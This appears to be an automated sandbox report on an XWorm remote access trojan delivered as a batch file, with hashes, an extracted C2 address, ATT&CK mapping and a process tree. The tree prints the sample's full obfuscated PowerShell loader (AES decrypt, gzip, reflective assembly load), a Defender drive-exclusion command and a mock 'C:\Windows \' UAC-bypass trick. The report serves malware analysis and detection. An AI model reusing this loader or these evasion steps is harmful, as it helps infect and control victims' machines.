xworm | 6d04562cf9d1e0ee7b7c77af40e1e3299b6eba9375f35978d9776d94a9dae3d7

Resubmissions

30/05/2024, 10:44

240530-mss7bsfe4710

30/05/2024, 10:24

240530-mfmtsaeb5s10

Analysis

max time kernel
13s
max time network
15s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
30/05/2024, 10:44

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General

Target
myxwr5cli.bat
Size 379KB
Sample240530-mss7bsfe47
SHA256 6d04562cf9d1e0ee7b7c77af40e1e3299b6eba9375f35978d9776d94a9dae3d7
MD5 03c6c2175f84ad54c989f0608d3cbb57
SHA1 9846d7aa4c639d038f428977dfe0eef7db8ac009
SHA512 45bc9713a632904216f5bfd3e5648542382bc5c3aa8fa5253eea9f04d6592ac0aabcffc02451261210835f4f4d57c1f4895b7d02be24dd5edffbdc5e5b5e13c8
SSDEEP 6144:xdlplCiywRsuBfq3Y3zzyMECoefagF68zh3IHstkjcGH9z2eRTbYXa8KZITbq:xrCiHWuBS3Y3zzyDCoefPQsy/qeF6KZl
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

127.0.0.1:7001
134.255.233.93:7001

Mutex

5loUYH5mEGReJgAG

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/3752-66-0x0000025D73A10000-0x0000025D73A20000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1068	powershell.exe
4456	powershell.exe
3752	powershell.exe
4252	powershell.exe
4620	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1444	ComputerDefaults.exe

Loads dropped DLL 1 IoCs

pid	Process
1444	ComputerDefaults.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
4456	powershell.exe
4456	powershell.exe
4252	powershell.exe
4252	powershell.exe
3752	powershell.exe
3752	powershell.exe
4620	powershell.exe
4620	powershell.exe
4620	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
3752	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4456	powershell.exe
Token: SeDebugPrivilege	4252	powershell.exe
Token: SeDebugPrivilege	3752	powershell.exe
Token: SeDebugPrivilege	4620	powershell.exe
Token: SeDebugPrivilege	1068	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3752	powershell.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 2948 wrote to memory of 2868	2948	cmd.exe	84
PID 2948 wrote to memory of 2868	2948	cmd.exe	84
PID 2948 wrote to memory of 4356	2948	cmd.exe	87
PID 2948 wrote to memory of 4356	2948	cmd.exe	87
PID 2948 wrote to memory of 4456	2948	cmd.exe	88
PID 2948 wrote to memory of 4456	2948	cmd.exe	88
PID 4456 wrote to memory of 4252	4456	powershell.exe	90
PID 4456 wrote to memory of 4252	4456	powershell.exe	90
PID 4456 wrote to memory of 1948	4456	powershell.exe	92
PID 4456 wrote to memory of 1948	4456	powershell.exe	92
PID 1948 wrote to memory of 1444	1948	cmd.exe	96
PID 1948 wrote to memory of 1444	1948	cmd.exe	96
PID 1444 wrote to memory of 1404	1444	ComputerDefaults.exe	97
PID 1444 wrote to memory of 1404	1444	ComputerDefaults.exe	97
PID 1404 wrote to memory of 2204	1404	cmd.exe	100
PID 1404 wrote to memory of 2204	1404	cmd.exe	100
PID 1404 wrote to memory of 1828	1404	cmd.exe	101
PID 1404 wrote to memory of 1828	1404	cmd.exe	101
PID 1404 wrote to memory of 3752	1404	cmd.exe	102
PID 1404 wrote to memory of 3752	1404	cmd.exe	102
PID 3752 wrote to memory of 4620	3752	powershell.exe	105
PID 3752 wrote to memory of 4620	3752	powershell.exe	105
PID 3752 wrote to memory of 1068	3752	powershell.exe	109
PID 3752 wrote to memory of 1068	3752	powershell.exe	109
PID 4456 wrote to memory of 2124	4456	powershell.exe	116
PID 4456 wrote to memory of 2124	4456	powershell.exe	116

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\myxwr5cli.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2948
- C:\Windows\system32\cmd.exe
  cmd /c "set __=^&rem"
  2⤵
  PID:2868
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cP+qKNutTynKUkrEYUHXrfgFt+qGd2k9eoIQyTxHELs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('w4Vmy/houRSXsK7A9z6kzA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $lvUHo=New-Object System.IO.MemoryStream(,$param_var); $UxGoq=New-Object System.IO.MemoryStream; $NiPKr=New-Object System.IO.Compression.GZipStream($lvUHo, [IO.Compression.CompressionMode]::Decompress); $NiPKr.CopyTo($UxGoq); $NiPKr.Dispose(); $lvUHo.Dispose(); $UxGoq.Dispose(); $UxGoq.ToArray();}function execute_function($param_var,$param2_var){ $KkPkD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $zNDLa=$KkPkD.EntryPoint; $zNDLa.Invoke($null, $param2_var);}$XLuZt = 'C:\Users\Admin\AppData\Local\Temp\myxwr5cli.bat';$host.UI.RawUI.WindowTitle = $XLuZt;$fEYHc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($XLuZt).Split([Environment]::NewLine);foreach ($OYqiR in $fEYHc) { if ($OYqiR.StartsWith('yCOdwoiwmunBFrPLojaG')) { $RNNcG=$OYqiR.Substring(20); break; }}$payloads_var=[string[]]$RNNcG.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:4356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4456
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4252
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c "C:\Windows \System32\ComputerDefaults.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1948
  - - C:\Windows \System32\ComputerDefaults.exe
      "C:\Windows \System32\ComputerDefaults.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:1444
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c call SC.cmd
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1404
      - C:\Windows\system32\cmd.exe
        
        cmd /c "set __=^&rem"
        6⤵
        
        PID:2204
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cP+qKNutTynKUkrEYUHXrfgFt+qGd2k9eoIQyTxHELs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('w4Vmy/houRSXsK7A9z6kzA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $lvUHo=New-Object System.IO.MemoryStream(,$param_var); $UxGoq=New-Object System.IO.MemoryStream; $NiPKr=New-Object System.IO.Compression.GZipStream($lvUHo, [IO.Compression.CompressionMode]::Decompress); $NiPKr.CopyTo($UxGoq); $NiPKr.Dispose(); $lvUHo.Dispose(); $UxGoq.Dispose(); $UxGoq.ToArray();}function execute_function($param_var,$param2_var){ $KkPkD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $zNDLa=$KkPkD.EntryPoint; $zNDLa.Invoke($null, $param2_var);}$XLuZt = 'C:\Users\Admin\AppData\Local\Temp\SC.cmd';$host.UI.RawUI.WindowTitle = $XLuZt;$fEYHc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($XLuZt).Split([Environment]::NewLine);foreach ($OYqiR in $fEYHc) { if ($OYqiR.StartsWith('yCOdwoiwmunBFrPLojaG')) { $RNNcG=$OYqiR.Substring(20); break; }}$payloads_var=[string[]]$RNNcG.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:1828
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:3752
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4620
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command " Remove-Item '\\?\C:\Windows \' -Force -Recurse "
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1068
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c rmdir "c:\Windows \"/s /q
    3⤵
    PID:2124

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010
MD5 62623d22bd9e037191765d5083ce16a3
SHA1 4a07da6872672f715a4780513d95ed8ddeefd259
SHA512 9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 692ec20c7039170fb199510f0436181fd155e6b4516d4d1c9e1675adf99aaa7f
MD5 ef72c47dbfaae0b9b0d09f22ad4afe20
SHA1 5357f66ba69b89440b99d4273b74221670129338
SHA512 7514b6bc8dc39fa618223300be27cd535dc35b18c66b4a089e2302e72b3e0cac06d88a989fa1296feb386b3cbe2084019df6430c7f895071b76e04ce559a30b4
MD5 SHA1 SHA512

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SC.cmd

Path C:\Users\Admin\AppData\Local\Temp\SC.cmd
Size 379KB
SHA256 6d04562cf9d1e0ee7b7c77af40e1e3299b6eba9375f35978d9776d94a9dae3d7
MD5 03c6c2175f84ad54c989f0608d3cbb57
SHA1 9846d7aa4c639d038f428977dfe0eef7db8ac009
SHA512 45bc9713a632904216f5bfd3e5648542382bc5c3aa8fa5253eea9f04d6592ac0aabcffc02451261210835f4f4d57c1f4895b7d02be24dd5edffbdc5e5b5e13c8
SSDEEP 6144:xdlplCiywRsuBfq3Y3zzyMECoefagF68zh3IHstkjcGH9z2eRTbYXa8KZITbq:xrCiHWuBS3Y3zzyDCoefPQsy/qeF6KZl
MD5 SHA1 SHA512 SSDEEP

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__PSScriptPolicyTest_acbxoat0.0a5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_acbxoat0.0a5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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ComputerDefaults.exe

Path C:\Windows \System32\ComputerDefaults.exe
Size 80KB
SHA256 7b0334c329e40a542681bcaff610ae58ada8b1f77ff6477734c1b8b9a951ef4c
MD5 d25a9e160e3b74ef2242023726f15416
SHA1 27a9bb9d7628d442f9b5cf47711c906e3315755b
SHA512 bafaee786c90c96a2f76d4bbcddbbf397a1afd82d55999081727900f3c2de8d2eba6b77d25c622de0c1e91c54259116bc37bc9f29471d1b387f78aaa4d276910
SSDEEP 1536:DayE7ffgaxRF71ry9vmt486MypQKURDoq4OZZZLlCIibz:Y3ganFp4NpqRD68wbz
MD5 SHA1 SHA512 SSDEEP

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MLANG.dll

Path C:\Windows \System32\MLANG.dll
Size 122KB
SHA256 16eb71b68025711fdbc93229fde22ecc73dc8a23be8b40700772b96978187ea3
MD5 e286ada1af4b08fa4b7c78f862883c4e
SHA1 798ebc7b7cd3db667f1a59ade299be4cff397f39
SHA512 fbbbc893388a39e94d8b2265aef75dbaf5fd928fadabd3dbfc5cbee64b600de0102b82e5d2b5c56efe128b45f6ddd4bba2668194c05decdfa78c8e7e382de3f5
SSDEEP 1536:Cu9CeMZcAn6rL2KHKx74nIHuFTAVFuSwtCjkT8mDMr0OgzTqsWO4dw9dluVcw:Cu9xprL2UKJ4c2TgFupkE8mDmgkAQcw
MD5 SHA1 SHA512 SSDEEP

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memory/3752-66-0x0000025D73A10000-0x0000025D73A20000-memory.dmp

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memory/3752-51-0x00007FF80DF50000-0x00007FF80E145000-memory.dmp

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memory/3752-52-0x00007FF80C350000-0x00007FF80C40E000-memory.dmp

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memory/4456-14-0x0000020D54F40000-0x0000020D54FB6000-memory.dmp

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memory/4456-18-0x0000020D54E20000-0x0000020D54E68000-memory.dmp

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memory/4456-16-0x00007FF80DF50000-0x00007FF80E145000-memory.dmp

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memory/4456-17-0x00007FF80C350000-0x00007FF80C40E000-memory.dmp

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memory/4456-15-0x0000020D54AD0000-0x0000020D54AE0000-memory.dmp

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memory/4456-7-0x0000020D3C7C0000-0x0000020D3C7E2000-memory.dmp

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memory/4456-0-0x00007FFFEF873000-0x00007FFFEF875000-memory.dmp

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memory/4456-13-0x0000020D54E70000-0x0000020D54EB4000-memory.dmp

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memory/4456-12-0x00007FFFEF870000-0x00007FFFF0331000-memory.dmp

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memory/4456-11-0x00007FFFEF870000-0x00007FFFF0331000-memory.dmp

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